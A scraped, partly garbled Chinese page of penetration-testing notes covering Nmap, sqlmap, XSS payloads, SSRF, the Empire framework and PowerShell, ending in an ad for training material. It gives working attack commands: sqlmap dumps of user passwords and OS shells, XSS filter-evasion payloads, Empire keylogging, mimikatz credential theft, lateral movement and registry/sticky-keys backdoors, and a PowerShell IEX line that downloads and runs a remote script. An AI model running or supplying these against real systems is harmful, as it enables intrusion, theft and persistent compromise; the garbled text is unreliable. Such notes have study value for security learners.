南京做网站外包最新开的手游传奇网站

张小明 2026/1/16 23:41:04
南京做网站外包,最新开的手游传奇网站,wordpress 批量友情链接,小程序大概需要多少钱1. Nmap的基本 Nmap ip 6 ip Nmap -A 开启操作系统识别和版本识别功能 – T#xff08;0-6档#xff09; 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别#xff0c;-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 上 nmap -A -T4 -v -iL ~/ta…1. Nmap的基本Nmap ip 6 ipNmap -A 开启操作系统识别和版本识别功能– T0-6档 设置扫描的速度 一般设置T4 过快容易被发现-v 显示信息的级别-vv显示更详细的信息192.168.1.1/24 扫描C段 192.168.11 -254 上nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中)--------------- 192.168.1.1/24 --exclude 192.168.1.100 排除在外的目标 .100 --------------- -----------------excludefile ~/targets.txt nmap 192.168.1.1 -p 80.443 网站 是否在这个端口部署网站 nmap –traceroute 192.168.1.1 探测路由 nmap -O 192.168.1.1 对目标进行指纹识别 nmap -sV ---------- 对版本进行探测 nmap -sF -T4 192.168.1.1 利用fin包对端口进行扫描识别是否被关闭收到RST包说明被关闭。否则是open 后者 fileter状态。 利用三次握手可以绕开防火墙 nmap –scriptauthip 处理鉴权证书的脚本也可以作为检测部分应用弱口令 -----------bruteip 暴力破解 扫描脚本介绍:位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts脚本类型ll /usr/share/nmap/scripts | grep ^- | wc -l使用介绍:nmap --scriptauth 192.168.137.*负责处理鉴权证书绕开鉴权的脚本,也可以作为检测部分应用弱口令nmap --scriptbrute 192.168.137.*提供暴力破解的方式 可对数据库smbsnmp等进行简单密码的暴力猜解nmap --scriptdefault 192.168.137.* 或者 nmap -sC 192.168.137.*默认的脚本扫描主要是搜集各种应用服务的信息收集到后可再针对具体服务进行攻击。nmap --scriptvuln 192.168.137.*检查是否存在常见漏洞nmap -n -p445 --scriptbroadcast 192.168.137.4在局域网内探查更多服务开启状况zenmapNmap 的图形化界面2.SQLmap 简介是一种开源的渗透测试工具可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。支持的数据库MySQLOracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。1 安装sqlmap前需要先安装Python3.Xhttps://www.python.org/downloads/windows/2 在环境变量path中增加python3.x 安装路径3 下载sqlmap并解压缩地址https://sqlmap.org/Python sqlmap.py -u http://xxx.xxx.xxx/Python sqlmap.py –help 查看帮助 borpsqlmap支持五种不同的注入模式UNION query SQL injection可联合查询注入uError-based SQL injection报错型注入uBoolean-based blind SQL injection布尔型注入uTime-based blind SQL injection基于时间延迟注入uStacked queries SQL injection可多语句查询注入2.sqlmap 常用命令参数-u /–url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id1”-m 从文本中获取多个目标扫描但是每一个一个url. sqlmap -m urllist.txt-r 从文件中加载HTTP请求这样的话就不需要再去设定cookiePOST数据….–dbs 返回当前连接的数据库–current-db 返回当前网站数据库的数据库用户-D 指定数据库系统的数据库名–tables 列举数据库表-T 指定数据库表名–columns 列举数据库表中的字段-C 指定数据库表中的字段名–dump 获取整个表的数据3.设置回显等级参数 -v默认为10 只显示python错误以及严重的信息1 基本信息和警告信息2 debug信息3 注入的payload级别越高显示信息越多4同时显示HTTP请求。5同时显示HTTP响应头。6同事显示HTTP响应页面。–data 把数以post方式提交sqlmap会像检测GET参数一样检测POST过去的参数。–cookie 用于区分用户可能会有漏洞当web登录时抓取数据包。4.设置HTTP数据包相关参数HTTP User-Agent 头参数–random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbssqlmap 检查uesr-agent中的注入点, level3才会去检查user-agent头是否存在注入漏洞5.设定探测等级–level共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到–users 列数据库管理用户–current-user 在数据库中目前连接的用户–is-dba 判断当前是否为管理是的话返回true–proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080–os-shell 前提需要网站的物理路径其次是需要有FIILE权限6.Sqlmap“六步”第一步判断是否注是注入点sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id1(目标链接)”检测该网站是否存在漏洞 白色加粗字体为注入点 也就是攻击对象第二步获取数据库sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id1(目标链接)” –dbs第三步查看当前应用程序所用数据库sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id1(目标链接)” --current-db四列出指定数据库的所有表sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id1(目标链接)” -D”security目标数据库”—tables五读取指定表中的字段名称sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id1(目标链接)” -D”security”-T users –colunms六读取指定字段内容sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id1(目标链接)” -D”security”-T users -C username,password –dumpdump下载脱库判断当前数据库用户权限sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id1(目标链接)” --is-dba如果是TRUE 那么权限该用户很大。-roles 列出数据库管理员角色如果当前用户有权限读取包含所有用户的表输入该命令会列举出每个用户的角色sqlmap -u “http://127.0.0.1/sqli-labs-master/Less-1/?id1” --roles-referer HTTPReferer头当–level参数设定为3或3以上时会尝试对HTTP Referer注入。可以使用referer命令来欺骗如–referer https://mp.mysite.net-sql-shell 运行自定义的sql语句sqlmap -u “http://127.0.0.1/sqli-labs-master/Less-1/?id1” --sql-shell运行任意操作系统命令选择后台语言sqlmap -u “http://127.0.0.1/sqli-labs-master/Less-1/?id1” --os-cmdwhoami–os-cmdwhoami–os-shell(以你的电脑为跳板对局域网进行渗透或留后门)–file-read 从数据库服务器中读取文件 当前用户有权限使用特定的函数时读取的文件可以是文本也可以是二进制文件。上传文件到数据库服务器中–file-write–file-dest读取指定数据库用户的密码sqlmap -u “http://xxxxx/fuzz/index.php?id1” --passwords -U rootSQLMAP进阶 常用tamper脚本apostrophemask.py 将引号替换为utf-8用于过滤单引号 易容术适用数据库ALL作用将引号替换为utf-8用于过滤单引号使用脚本前tamper(“1 AND ‘1’1”)使用脚本后1 AND %EF%BC%871%EF%BC%87%EF%BC%871multiplespaces.py 围绕sql关键字添加多个空格 去绕过适用数据库ALL作用围绕sql关键字添加多个空格使用脚本前tamper(‘1 UNION SELECT foobar’)使用脚本后1 UNION SELECT foobar3. Burp Suite工具一配置及代理设置1.使用前配置①选择代理Proxy选项卡②选择设置option选项卡③Edit Running打勾 124.0.0.1:8080配置成功历史访问二功能模块讲解模块介绍send to spider 发送给爬虫模块do a active scan 进行一次主动扫描send to intruder 发送给爆破模块send to repearter 发送给重放模块send to comparer 发送给比对模块send to decoder 发送给解码模块request in browser 将请求在浏览器重放四MYSQL与SQL注入mysql知识点- 基本查询语句查询表中全部信息 select *from 表明-关键的函数select以下语句version() 数据库版本 database() 数据库名 user() 用户名 current\_user() 当前用户名 system\_user() 系统用户名 datadir 数据库路径 version\_compile\_os 操作系统版本-order by排序 语法-联合查询order by 1—order by 2—确定字段数使用UNION操作符注入另外一个select查询并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据注意 相同的列结构需要有知道表结构列结构 exists函数猜解表明 information\_schema 是一个mysql系统自带的元数据库information_schema.SCHEMATA 查看所有的数据库五、 XSS基础1、什么是XSS?中文名为跨站脚本攻击跨站脚本(Cross-Site Scripting, XSS)当目标网站用户在渲染HTML文档的过程中出现非预期的脚本指令并执行时XSS就发生了。2、攻击者给予应用恶意XSS代码导致用户访问应用或服务器时执行代码导致被XSS攻击。攻击者→服务器→用户xss是一种迫使Web站点回显可执行代码的攻击技术而这些可执行代码由攻击者提供、最终为用户浏览器加载3、XSS的危害 1.网络钓鱼包括盗取各类用户的账号2.窃取用户cookies资料从而获取用户信息。 3.获取客户端信息IP/端口等 4.劫持用户浏览器会话从而执行任意操作 5.强制弹出窗口。 6.网页挂马进行恶意操作 7.进行大量的客户端攻击 如DDoS攻击 8.控制受害者机器向其他客户端攻击4、XSS分类①反射型 非持久型调取用户cookie或者进行钓鱼常常为通过引诱用户点击一个恶意链接来实施攻击。特点① 主要用于将恶意脚本附加到URL地址的参数中② 只在用户单击url时触发,而且只执行一次,非持久化③常用来窃取客户端 Cookies或进行钓鱼欺骗.④常常为通过引诱用户点击一个恶意链接来实施攻击的name为可控参数我们可以通过执行恶意代码弹窗那么也能做些对我们有利的事情。当我们构造好了如下恶意代码发送给受害者。将会弹出用户的cookie值我们构造js代码将该cookie值发送至我们自己的服务器或者用XSS平台接收该cookie例如https://xsshs.cn/我们就能通过该cookie非法登录受害者的账户。②存储型 渗透 挂马 蠕虫病毒 出现在网站的留言、评论、日志等交互处被存储在数据库或者客户端中等再次浏览时受到攻击。特点① 恶意代码被保存到目标网站的服务器中每次用户访问时都会执行脚本代码这种攻击具有较强的稳定性和持久性② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全. ③ 一般出现在网站的留言、评论、日志等交互处,页面原理POST提交数据生成、读取文本模拟数据库提交数据之后页面会将数据写入sql.txt再打开页面时会读取sql.txt中内容并显示在网页上实现了存储型xss攻击模拟。当输入恶意代码即会执行并且恶意代码会一直存储在服务器每当有用户访问该页面即会触发恶意代码利用XSS弹出恶意警告框网页不停刷新http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name获得cookie劫持流量跳转到你的博客强行吸粉③dom型 将XSS代码嵌入dom文档每一个网页通过JS脚本对文档对象进行编辑从而修改页面元素增加漏洞。xss平台1.获取COOKIE(这是必须的最基本的功能)2.获取源码(取当前网页的源码)3.截图(可自己修改为连续截图)4.……………https://xss.pthttps://xssaq.comXSS利用——无任何过滤alert(1);img src1 οnerrοralert(“xss”); //onerror等事件可以调用jsinput οnfοcus“alert(‘xss’);” autofocussvg οnlοadalert(“xss”);XXS绕过关键字绕过空格绕过用/代替空格 img/src“x”/οnerrοralert(“xss”);关键字绕过大小写绕过利用其他标签双写关键字 imimgg srsrccx οnerrοralert(“xss”);字符拼接 img src“x” οnerrοr“aaler;bt;c‘(xss);’;eval(abc)”利用函数进行编码绕过Unicode绕过img src“x” οnerrοr“eval(‘\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b’)” 利用函数进行编码绕过ASCII码img src“x” οnerrοr“eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))”Hex绕过img srcx οnerrοreval(‘\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29’)Base64编码img src“x” οnerrοr“eval(atob(‘YWxlcnQoJ3hzcycp’))”过滤括号 当括号被过滤的时候可以使用throw来绕过混淆利用html标签格式的不严格、容错性。关键字中加空格加TAB回车url编码img src“x” οnerrοr“eval(unescape(‘%61%6c%65%72%74%28%22%78%73%73%22%29%3b’))”六Cref漏洞1漏洞介绍: 一种对网站的恶意使用。与 xss相比不大流行因此对其防范相当稀少比xss更加具有危险性。原理利用目标用户身份以目标用户名义执行非法操作以目标用户名义发邮件消息盗取目标账号购买商品虚拟货币转账等会泄露目标用户的财产安全。PsCSRF漏洞经常用来制作蠕虫攻击刷SEO流量靶场实战漏洞分析![watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YOt6Z2ZMjAyMg,size_20,color_FFFFFF,t_70,g_se,x_16](https://img-blog.csdnimg.cn/d1c69b7c8dfc46b6ae4b19b2d164bc1e.png?x-oss-processimage/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YOt6Z2ZMjAyMg,size_20,color_FFFFFF,t_70,g_se,x_16)![watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YOt6Z2ZMjAyMg,size_20,color_FFFFFF,t_70,g_se,x_16](https://img-blog.csdnimg.cn/d35e9a6ae88c41ed95c49ea566863e0f.png?x-oss-processimage/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YOt6Z2ZMjAyMg,size_20,color_FFFFFF,t_70,g_se,x_16)Ssrf漏洞是一种由攻击者构造请求由服务器发起请求的安全漏洞。与csrf最大的区别是一个是服务器一个是由客户端发起的。在域名后增加url语句从而利用ssrf漏洞篡改脚本访问的地址。攻击方式如下A对外网服务器所在的内网本地进行端口扫描获取的banner信息。B攻击运行在内网或本地的应用程序。C对内网web应用进行指纹识别识别企业内部的资产信息。D.攻击内外网的web应用主要是用HTTP请求就可以实现的攻击比如struts2sqli等等E利用file协议读取本地文件。SSRF漏洞利用测试地址http://127.0.0.1.1/ssrf.php?Urlhttp:127.0.0.7/2.php页面ssrf.php实现的功能获取GET参数URL然后将url的内容返回网页上。如果将请求的网址篡改为http://www.baidu.com则会显示http://www.baidu.com的网页内容但是当设置参数URL为内网地址时则会泄露内网信息。访问ssrf.php?Urlfile://C:/wwindows/win.ini即可读取本地文件。Ssrf漏洞修复建议限制请求的端口只能为web端口只允许访问HTTP和HTTPS的请求。限制不能访问的内网ip以防止对内网进行攻击。屏蔽返回的详细信息。七EmpireEmpire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能还可以快速在后期部署漏洞利用模块其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等使用能够躲避内网检测和大部分安全防护工具的查杀简单来说就有点类似Metasploit是一个基于PowerShell的远程控制木马。Empire运行在linux平台上官方下载地址不过很久没有更新需要Python 2.6/2.7环境https://github.com/EmpireProject/EmpireKALI示例git clone https://github.com/EmpireProject/Empire.git然后安装Empire的依赖命令如下cd Empirecd setuppip install -r requirements.txt若没有安装pip库则需要先通过apt-get install pip进行安装./install.sh在安装完依赖以后返回上一级文件启动Empire工具命令如下cd …./empire​ 若启动失败则可能是因为依赖未完全安装好只需要手动通过pip install xxx安装未安装好的依赖即可。启动时如果遇到如下报错可以将urllib3版本降级pip install urllib31.22重新设定bash reset.sh基本使用会涉及如下内容1.帮助文档2.设置监听3.生成木马4.连接主机和基本使用5.信息收集6.权限提升帮助文档​运行Empire后输入help命令查看具体的使用帮助。设置监听步骤如下listeners #进入监听线程界面uselistener #设置监听模式info #查看具体参数设置set #设置相应参数execute #开始监听输入Listeners命令进入监听界面按TAB键可以补全命令按两次TAB键或者help可以显示可以利用的模块输入uselistener来设置采用何种监听模式双击TAB可以看到有以下可以使用的模式。设置监听这里采用http监听模式输入uselistener http。然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。通过set配置参数并提供execeute执行需要注意的是Empire不同于MetasploitEmpire命令是区分大小写的通过back返回上一级使用listeners或者list可以查看所设置的监听器生成木马输入usestager后 空格加TAB键 查看可以设置的木马模式木马就类似Metasploit中的payload其中multi为通用模块osx是Mac操作系统的模块剩下的是Windows的模块。我们以 windows/launcher_bat为例给大家说下过程其他的使用都类似要使用launcher_bat首先输入usestager windows/launcher_bat然后输入info命令查看详细参数通过set配置参数我们需要设置一个 Listener 参数即监听的名字前面我们给监听起得一个名字test1通过execeute执行文件会生成到 tmp 目录下如下所示在目标主机上运行生成的launcher.bat输入 agents 可以查看已经获得的会话我们再介绍另一种生成木马方式launcher如果只需要简单的powershell 代码在设置完相应的参数后可直接在监听器listeners中输入命令 launcher 生成base64编码的代码然后复制生成的payload 在目标机器上执行可以看到有会话生成输入 agents 可以查看已经获得的会话连接主机和基本使用​在目标主机反弹成功以后可以通过agents命令列出当前已连接的主机这里要注意如果有带有(*)的是已提权成功的主机。然后使用interact命令连接主机可以使用Tab键补全主机的名称连接成功以后可以通过rename修改会话名称可以通过help查看可以使用的命令输入help agentcmds可以查看可供使用的常用命令输入help agentcmds可以查看可供使用的常用命令可以通过pwd查看当前目录upload可以上传文件通过cat查看文件内容使用某些CMD命令时要使用“shell命令的形式” 如下Empire主要用于后渗透。所以信息收集是比较常用的一个模块可以使用searchmodule命令搜索需要使用的模块这里通过键如usemodule collection然后按Tab查看完整的列表1.屏幕截图​输入以下命令然后执行即可​2.键盘记录​输入以下命令usemodule collection/keylogger通过info可以查看详细信息execute执行可以通过jobs kill JOB\_name停止键盘记录![watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YOt6Z2ZMjAyMg,size_17,color_FFFFFF,t_70,g_se,x_16](https://img-blog.csdnimg.cn/9e677d4c797447cd861c4d8c8973f1f8.png?x-oss-processimage/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6YOt6Z2ZMjAyMg,size_17,color_FFFFFF,t_70,g_se,x_16)3.ARP扫描Empire也内置了ARP扫描模块输入以下命令即可使用该模块这里要设置Range参数4.查找域管登陆服务器IP在内网渗透中要想拿到内网中某台机器的域管权限方法之一就是找到域管登录的机器然后横向渗透进去窃取域管权限从而拿下整个域以下这个模块就是用来查找域管登录的机器的。使用模块usemodule situational_awareness/network/powerview/user_hunter权限提升提权顾名思义就是提高自己在服务器中的权限就比如在Windows中你本身登陆的用户是Guest通过提权后就会变成超级管理员拥有了管理Windows的所有权限。以下是常见几种提权方式1.Bypass UACUAC介绍UACUserAccount Control用户账户控制简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。为了远程执行目标的exe或者bat可执行文件绕过此安全机制以此叫BypassUAC不进行弹窗直接运行执行文件输入以下命令设置Listener参数运行execute会发现成功上线了一个新的反弹返回agents通过list可以看到有一个新的会话并且带有*说明提权成功。2.PowerUpEmpire内置了PowerUp的部分工具用于系统提权主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式输入以下命令然后通过tab键查看完整列表查找系统中的漏洞和PowerSploit下PowerUp中的Invoke-AllChecks模块一样该模块可以执行所有脚本检查系统漏洞我们可以通过BypassUAC进行提权3.通过溢出漏洞本地溢出提权首先要有服务器的一个普通用户权限攻击者通常会向服务器上传本地溢出程序在服务器端执行如果系统存在漏洞那么将溢出Administrator权限。这里我们使用ms16-032来提权输入以下命令即可通过溢出漏洞进行提横向渗透就是在已经攻占部分内网主机的前提下利用既有的资源尝试获取更多的凭据、更高的权限进而达到控制整个内网、拥有最高权限、发动类似 APT 的目的。在横向渗透中最先得到的主机以及之后新得到的主机会成为突破口、跳板。如同一个不断扩大的圆形获得的主机越多圆能触及之处越大让其周遭的「横向」部分由未知成为已知。1.令牌窃取我们在获取到服务器权限后可以使用内置mimikatz获取系统密码执行完毕后输入creds命令查看Empire列举的密码。如下图所示从这里发现有域用户曾在此服务器上登录此时可以窃取域用户身份然后进行横向移动首先先来窃取身份使用命令pth这里的ID号就是creds下的CredID号我们这里来窃取administrator的身份令牌执行pth 7命令使用steal_token PID命令就窃取了该身份令牌了如下图所示。我们先尝试访问域内另一台主机WIN7-X86的“C$”顺利访问如下图所示。输入revtoself命令可以将令牌权限恢复到原来的状态2.会话注入我们也可以使用usemodule management/psinject模块来进程注入获取权限输入info查看参数设置如下图所示。设置下Listeners和ProcID这2个参数这里的ProcID还是之前的CMD的1380运行后反弹回一个域用户权限shell。3.Invoke-PsExecPsExec是我在Metasploit下经常使用的模块还有pstools工具包当中也有psexec缺点是该工具基本杀毒软件都能检测到并会留下日志而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。使用该模块的前提是我们已经获得本地管理员权限甚至域管理员账户然后以此来进一步持续渗透整个内网。我们测试该模块前看下当前agents只有一个IP为192.168.31.251机器名为WIN7-64的服务器如下图所示。现在使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86输入info查看设置参数如下图所示。这里要设置下机器名和监听输入下列命令反弹成功输入agents命令查看当前agents多了一个IP为192.168.31.158机器名为WIN7-X86的服务器攻击者在获取服务器权限后通常会用一些后门技术来维持服务器权限服务器一旦被植入后门攻击者如入无人之境。服务器重启后我们的后门程序仍能触发继续运行。这里讲一些window服务端常见的后门技术。1.权限持久性劫持shift后门shitf后门其实就是使用了windows系统的粘滞键功能当连按5次shift键的时候就会启动粘滞键程序。然后后门程序替换掉这个程序然后通过按5次就来启动后门。输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块可以输入info查看参数set设置相关参数运行后在目标主机远程登录窗口按5次shift即可触发后门有一个黑框一闪而过如下图所示这时看我们的Empire已经有反弹代理上线2.注册表注入后门使用usemodule persistence/userland/registry模块运行后会在目标主机启动项添加一个命令可以输入info查看信息按如下命令设置其中几个参数如下图所示。重启目标主机用户登录系统后会有反弹会话生成在实际渗透中当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时可以使用PowerShell来绕过也可以执行Empire的Payload来绕过成功之后再用Empire的模块将其反弹回Metasploit。首先在Metasploit我们使用multi/script/web_delivery模块输入如下命令使用usemodule code_execution/invoke_metasploitpayload模块输入info看下参数如下图所示这里我们只需修改1个参数URL修改为前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y按下列命令设置完毕然后执行Metasploit收到Empire反弹回来的shell如下图所示。文件上传漏洞概述在现代互联网的我web应用程序中上传文件是一种常见的功能上传文件的时候如果服务器脚本语言对上传的文件进行严格的过滤就有可能上传恶意文件从而控制整个网站甚至是服务器。存在原因传文件时如果服务器代码对客户端上传的文件进行验证和过滤就容易造成可以上传任意文件的情况包括上传脚本文件asp,aspx,php,jsp等格式的文件危害:非法用户可以利用上传的恶意脚本文件控制整个网站。甚至控制服务器这个恶意文件又称webS核力量也可将脚本称为一种网页后门WebShell叫阿奔具有强大功能比如查看服务器中的文件执行系统命令。2常见的上传检测规则A服务器MIME类型检测Content-type内容B客户端JavaScript检测 检测文件扩展名C服务器目录路经检测path参数D服务器文件名拓展名检测estension内容E服务器文件内容检测是否合法或含有恶意代码暴力破解漏洞产生与介绍产生由于服务器端没有做限制导致攻击者可通过暴力的手段破解所需信息用户名密码验证码酔 0介绍“需要一个大的字典如4位数字的验证码暴力破解关键在于字典的大小常见用于爆破弱口令。逻辑漏洞就是指攻击者鲤鱼精业务的设计缺陷获取敏感信息或破坏业务的完整性越权访问水平和垂直越权 。越权访问攻击测试链接http://172.16.200.12/yuequan/test2/admin/viewpassword.WAFweb应用防火墙是通过执行一系列对HTTP/HTTPS的安全策略来专门为web应用提供保护。WAF类型 软件型直接检测服务器上是否存在WEBshell硬件型支持多种部署在旁听监听模式时只记录攻击不进行拦截云waf一般以反向代理的形式工作通过配置NS记录干活CNAME记录是对网站的请求优先经过WAF主机经过WAF过滤后将认为无害的请求报文在传输给实际网站服务器进行请求网站系统内置WAF在网站内内置的过滤直接镶嵌在代码里自由度比较高有以下四种①输入参数强制类型转换②输入参数合法性检测③关键函数执行对经过代码流程的输入进行检测④对输入的数据进行替换过后再继续执行代码执行流程网站系统内置的WAF与业务更加切合在对安全与业务都比较了解的情况下可更少的收到误报与漏报。WAF判断 方法①SQLMap 输入sqlmap.py -u “http://xxx.com” --identify-waf --batch 便可找到waf类型②直接在相对应网站的url后加最基础的测试语句并放在一个不存在的参数名中。绕过waf的方法1大小写混合2url编码3替换关键字4使用注释5多参数请求拆分6HTTP参数污染7生僻函数8寻找网站原站IP9注入参数到cookies中Meteasploit技术在使用Kali操作系统是应注意即使更新源就像平时及时更新手机APP更新命令如下Aapt-get update:只更新软件包的索引源作用同步源的软件包的索引信息从而进行软件更新。BApt-get upgrade:升级系统上安装的所有软件包如果失败则保持更新之前的状态。Apt-get dist-upgrade:升级整个Liunux系统不仅升级所有已安装的软件包而且会处理升级过程中可能出现的冲突在某些情况下他的部分升级需要人工参与。渗透攻击大致步骤*扫描目标及系统寻找可用漏洞。*选择并配置一个漏洞利用模块。*选择并配置一个攻击利用模块。*选择一个编码技术用来绕过杀毒软件的查杀。*渗透攻击。Powershell是一种基于任务的命令行解释器和脚本环境可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计以.NET框架为平台Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面在不需要写入磁盘的情况下执行命令也可以逃避Anti-Virus检测。另外可以把PowerShell看作命令行提示符cmd.exe的扩充。对于渗透使用PowerShell场景第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器可以通过钓鱼等方式直接执行命令第二种我们已经到了对方网络或是一台DMZ的win机器那么我们利用PowerShell对内网继续深入基于.NET框架操作系统信任提供win系列操作系统的几乎一切访问权限win7之后默认安装脚本可以运行在内存中不需要写入磁盘cmd.exe通常会被安全软件阻止一般PowerShell不会常用攻击工具可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本。一个PowerShell脚本其实就是一个简单的 文本文件这个文件包含了一系列的 PowerShell命令每个命令显示为独立的一行PowerShell文件的后缀为 .PS1。执行策略为防止恶意脚本的执行PowerShell有一个执行策略默认情况下这个执行策略被设置为受限。我们可以使用 Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。Restricted脚本不能运行(默认设置)RemoteSigned本地创建的脚本可以运行但是从网上下载的脚本不能运行(拥有数字证书签名的除外)AllSigned仅当脚本由受信任的发布者签名时才能运行Unrestricted允许所有的脚本执行另外修改PowerShell执行策略Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行运行脚本运行一个脚本必须键入完整的路径和文件名例如你要运行一个名为a.ps1的脚本可以键入c:\script\a.ps1但如果PowerShell脚本文件在你的系统目录中那么在命令提示符后直接键入脚本文件名即可运行如.\a.ps1的前面就加上“.\”这和在Linux下执行Shell脚本的方法一样。管道管道的作用就是将一个命令的输出作为另一个命令的输入两个命令之间用管道符号(|)连接例如假设停止所有目前运行中的以“note字符开头命名的程序Get-Process note*|stop-process基本知识在PowerShell下类似“cmd命令”叫做“cmdlet” 其命令的命名规范很一致都采用了 动词-名词的形式如Net-Item动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令如查看目录可以使用 dir 或者 ls 并且PowerShell命令不区分大小写。后面会以文件操作为例讲解PowerShell命令的基本用法如果运行PowerShell脚本程序必须用管理员权限将Restricted策略改成Unrestricted在渗透测试时就需要采用一些方法绕过策略来执行PowerShell脚本列举如下三种方式1.绕过本地权限执行2.本地隐藏绕过权限执行脚本3.用IEX下载远程PS1脚本绕过权限执行如果运行PowerShell脚本程序必须用管理员权限将Restricted策略改成Unrestricted在渗透测试时就需要采用一些方法绕过策略来执行PowerShell脚本列举如下三种方式1.绕过本地权限执行2.本地隐藏绕过权限执行脚本3.用IEX下载远程PS1脚本绕过权限执行上传test.ps1到目标主机在cmd环境下在目标主机本地当前目录执行该脚本powershell -exec bypass .\test.ps1powershell.exe -exec bypass -W hidden -nop test.ps1输入命令执行后会退出命令提示符powershell -c IEX (New-Object System.Net.Webclient).DownloadString(‘http://192.168.10.11/test.ps1’)对上述命令参数进行说明ExecvtionPolicy Bypass-exec bypass绕过执行安全策略这个参数非常重要在默认情况下PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数可以绕过任意一个安全保护规则;WindowStyle Hidden(-w hidden)隐藏窗口也就是执行完命令后窗口隐藏;-command(-c)执行powershell脚本;NoProfile(-nop)PowerShell控制台不加载当前用户的配置文件NoLogo启动不显示版权标志的PowerShellNonlnteractive(-noni)非交互模式Noexit执行后不退出shell这在使用键盘记录等脚本时非常重要学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群‌一、基础适配人群‌‌零基础转型者‌适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌‌开发/运维人员‌具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展‌或者转行就业‌应届毕业生‌计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期‌‌二、能力提升适配‌1、‌技术爱好者‌适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌2、安全从业者‌帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌3、‌合规需求者‌包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员‌因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】
